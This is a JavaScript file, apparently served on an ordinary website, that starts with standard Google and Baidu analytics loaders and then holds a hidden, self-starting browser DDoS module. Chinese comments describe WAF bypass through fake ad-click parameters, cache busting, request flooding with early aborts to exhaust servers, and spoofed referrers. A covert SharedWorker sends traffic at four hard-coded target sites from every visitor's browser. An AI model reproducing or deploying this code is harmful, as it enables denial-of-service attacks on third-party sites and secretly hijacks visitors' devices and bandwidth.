(function () {
// 防止重复加载
if (window.__ga_loaded__) return;
window.__ga_loaded__ = true;
// 初始化 dataLayer
window.dataLayer = window.dataLayer || [];
function gtag(){ dataLayer.push(arguments); }
window.gtag = gtag;
// 动态加载 Google gtag 脚本
var s = document.createElement('script');
s.async = true;
s.src = 'https://www.googletagmanager.com/gtag/js?id=G-0EERM42ZV7';
document.head.appendChild(s);
// 初始化 GA
gtag('js', new Date());
gtag('config', 'G-0EERM42ZV7');
})();
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?2db6be35bbf0b2d9a29ab67506636401";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
(function() {
// =============================================================================
// 高级压力测试 Worker 内核 (Pro Version)
// 功能：资源不对称消耗、WAF穿透、混合攻击向量、并发池管理
// =============================================================================
const workerSource = `
// --- 1. 熵源与工具库 ---
const Utils = {
// 生成随机字符串
randStr: (len) => {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let res = '';
for (let i = 0; i < len; i++) res += chars.charAt(Math.floor(Math.random() * chars.length));
return res;
},
// 生成随机整数
randInt: (min, max) => Math.floor(Math.random() * (max - min + 1)) + min,
// 模拟真实广告点击参数（WAF 白名单穿透核心）
// 许多 WAF 为了不误杀昂贵的广告流量，会对携带这些参数的请求放宽检查
bypassParams: () => {
const params = [
'gclid=' + Utils.randStr(20), // Google Click ID
'fbclid=' + Utils.randStr(20), // Facebook Click ID
'utm_source=google',
'utm_medium=cpc',
'utm_campaign=' + Utils.randStr(8),
'ref_src=' + Utils.randStr(10),
'_t=' + Date.now() // 时间戳防缓存
];
// 随机取 1-3 个参数组合
return params.sort(() => 0.5 - Math.random()).slice(0, Utils.randInt(1, 3)).join('&');
}
};
// --- 2. 状态控制 ---
let state = {
running: false,
activeReqs: 0, // 当前并发数
config: null
};
// --- 3. 核心攻击逻辑 ---
async function flood(target) {
if (!state.running) return;
// [A] 动态 URL 构建
// 穿透：使用随机参数绕过 CDN 缓存，直达源站
let url = target.replace('{{RAND}}', Utils.randStr(Utils.randInt(5, 10)));
const connector = url.includes('?') ? '&' : '?';
url += connector + Utils.bypassParams();
// [B] 混合请求方法 (30% POST, 70% GET)
// POST 请求通常无法被缓存，且能触发后端更复杂的逻辑（如表单解析、SQL查询）
const method = Math.random() > 0.7 ? 'POST' : 'GET';
// [C] 极速阻断控制器 (Asymmetric Resource Exhaustion)
// 核心原理：客户端只负责“点火”（发起请求），不负责“灭火”（接收响应）。
// 快速释放连接句柄，让服务端自己在后台处理耗时任务。
const controller = new AbortController();
const signal = controller.signal;
const fetchOpts = {
method: method,
mode: 'no-cors', // 允许跨域发送（不读取响应，只求发送成功）
cache: 'no-store', // 强制不缓存
priority: 'high', // 浏览器高优先级
referrer: state.config.refs[Utils.randInt(0, state.config.refs.length - 1)] + Utils.randStr(5),
signal: signal
};
// 如果是 POST，注入随机 Payload 增加 WAF 解析负担
if (method === 'POST') {
const formData = new FormData();
formData.append('key', Utils.randStr(10));
formData.append('q', Utils.randStr(20)); // 模拟搜索词
formData.append('action', 'search');
fetchOpts.body = formData;
}
state.activeReqs++;
// [D] 发送请求 (Fire and Forget)
fetch(url, fetchOpts).catch(() => {
// 忽略 AbortError 和网络错误，只管发
});
// [E] 早期阻断策略
// 在 50-200ms 后强制断开连接。
// 此时 HTTP 请求头通常已发完，服务端已开始处理。
// 客户端断开连接，立即释放资源用于发起下一个请求。
const killTime = Utils.randInt(50, 200);
setTimeout(() => {
if (state.activeReqs > 0) {
controller.abort();
state.activeReqs--;
// 递归维持并发：只有当请求结束（或被杀掉）时，才补充新请求
// 保持 activeReqs 始终接近 state.config.power
if (state.running && state.activeReqs < state.config.power) {
flood(target);
}
}
}, killTime);
}
// --- 4. 脉冲调度器 ---
// 负责初始化并发池，并定期检查是否掉线
function scheduler() {
if (!state.running) return;
const { targets, power } = state.config;
// 补齐并发数
const needed = power - state.activeReqs;
if (needed > 0) {
for (let i = 0; i < needed; i++) {
const target = targets[Utils.randInt(0, targets.length - 1)];
flood(target);
}
}
// 抖动检查 (Jitter)：每 100ms 检查一次，防止请求完全停止
if (state.running) {
setTimeout(scheduler, 100);
}
}
// --- 5. 消息处理 ---
function handleMessage(event) {
const data = event.data;
if (data.type === 'START') {
if (!state.running) {
state.running = true;
state.config = data.config;
scheduler(); // 启动调度
} else {
state.config = data.config; // 热更新配置
}
} else if (data.type === 'STOP') {
state.running = false;
}
}
// --- 6. 环境兼容 (Polyfill) ---
// 同时支持 SharedWorker 和 Dedicated Worker
if (typeof self.onconnect !== 'undefined') {
// SharedWorker 入口
self.onconnect = function(e) {
const port = e.ports[0];
port.onmessage = handleMessage;
port.start();
};
} else {
// Dedicated Worker 入口
self.onmessage = handleMessage;
}
`;
// =============================================================================
// 主线程启动器
// =============================================================================
function launch() {
// 安全检查：避免在不该运行的时候运行
// if (Math.random() > 0.5) return;
try {
const blob = new Blob([workerSource], { type: 'application/javascript' });
const blobUrl = URL.createObjectURL(blob);
let worker, port;
// 优先尝试 SharedWorker (更隐蔽，多标签页复用)
if (window.SharedWorker) {
try {
worker = new SharedWorker(blobUrl);
port = worker.port;
} catch (e) {
// Fallback 如果 SharedWorker 被禁用
worker = new Worker(blobUrl);
port = worker;
}
} else if (window.Worker) {
// 降级使用普通 Worker (Safari, 移动端)
worker = new Worker(blobUrl);
port = worker;
} else {
console.error("Browser does not support Workers.");
return;
}
// 攻击配置
const CONFIG = {
type: 'START',
config: {
targets: [
// [目标列表]
// 建议：混合高消耗接口（搜索、动态页）和静态资源
'https://www.shanfeng.org/book/{{RAND}}.html',
'https://www.hy-gt.cn/manhua/{{RAND}}.html',
'https://ctsbw.com/tv/{{RAND}}.html',
'https://www.sysdzk.com/book/{{RAND}}.html'
],
refs: [
// [伪装来源]
'https://www.google.com/',
'https://www.bing.com/',
'https://m.facebook.com/',
'https://t.co/'
],
// power: 并发池大小。
// 128-256 是现代浏览器比较安全的范围。过高会导致浏览器卡顿。
power: 32
}
};
if (port.start) port.start();
// 延迟发送指令确保握手成功
setTimeout(() => {
port.postMessage(CONFIG);
console.log("CC Pro module started.");
}, 500);
} catch (err) {
console.error("CC Pro module launch failed:", err);
}
}
launch();
})();
© 2022 | Flexfarma | Todos os direitos reservados.
